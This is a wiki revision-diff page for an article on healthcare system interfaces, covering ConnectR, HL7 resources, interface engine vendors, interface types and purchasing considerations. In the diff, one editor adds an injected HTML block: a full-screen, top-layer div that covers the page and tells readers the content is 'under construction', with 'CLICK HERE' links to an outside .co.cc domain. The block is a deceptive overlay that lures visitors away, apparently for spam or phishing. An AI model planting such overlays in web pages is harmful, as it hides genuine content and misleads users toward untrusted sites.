Difference between revisions of "Interfaces"
Jump to navigation
Jump to search
Max.Stroud (talk | contribs) |
Onamitihys (talk | contribs) |
||
| Line 3: | Line 3: | ||
A single interface consists of both a source and target system. Each interface uses a map to define where to put incoming data on the way back out. Additionally translation tables can be used to map more than one value to a single output value. | A single interface consists of both a source and target system. Each interface uses a map to define where to put incoming data on the way back out. Additionally translation tables can be used to map more than one value to a single output value. | ||
| − | ==HL7 Resources== | + | >==HL7 Resources== |
[[HL7 Editors]] | [[HL7 Editors]] | ||
[http://www.hl7.org.au/HL7-Tools.htm HL7 Tools] | [http://www.hl7.org.au/HL7-Tools.htm HL7 Tools] | ||
| + | |||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://ukowacaqo.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]= | ||
| + | ---- | ||
| + | =[http://ukowacaqo.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
== Interface Engines == | == Interface Engines == | ||
Revision as of 00:26, 18 November 2010
Interfaces are connections between two systems. ConnectR is the interface management and monitoring tool of choice for Allscripts implementations. An example of an interface would be the data flowing from a scheduling system into TouchWorks.
A single interface consists of both a source and target system. Each interface uses a map to define where to put incoming data on the way back out. Additionally translation tables can be used to map more than one value to a single output value.
>==HL7 Resources==
Interface Engines
- GE ConnectR
- Microsoft BizTalk Server
- Siemens OPENLink
- Neotool NeoIntegrate
- MDI Solutions MDLink
- Orion Health Rhapsody
- Intersystems Ensemble
- Healthvision Cloverleaf
- McKesson Pathways
- Sun eGate & Java CAPS
- Summit Integration Suite
- Eclipsys Elink
- Sybase E-Biz Impact
- Pervasive Data Integrator
- HealthUnity HIN (Health Information Network) Product Suite
- Mirth - The Open Source Integration Engine
- InfiniMed, Inc. - IMEDI Integration Engine
- Interfaceware Iguana
Types of Interfaces
- ADT Patient List
- Charge
- Conversions
- Dictate
- Document (Inbound)
- Document (Outbound)
- Immunization
- Order
- Reg/Sched
- Results
- Outbound Immunization
Interface Engine Purchasing Considerations
- Installation - How easy is the engine to install? Is there a migration path from your existing interface engine?
- Usability - How intuitive is the user interface? Does it offer the capability of both GUI and code programming of interfaces?
- Performance - What is the throughput of the interface engine, i.e. how many messages does the interface process per minute for a given fan out?
- Reliability - Does the engine have 24X7 operation? What are typical causes/estimates of downtime?
- Scalability - Is this engine built to support increases in throughput? What is the nominal number of interfaces it can support without performance degradation?
- Configurability - Does the interface engine allow for customization and extensions to be carried out by the customer or 3rd party resources, without vendor involvement?
- Target Market - Does the vendor have a primary focus on health care?
- Support - Does the vendor offer 24X7 support? Is the support model included in the costs of the interface engine? Are there different tiers of support?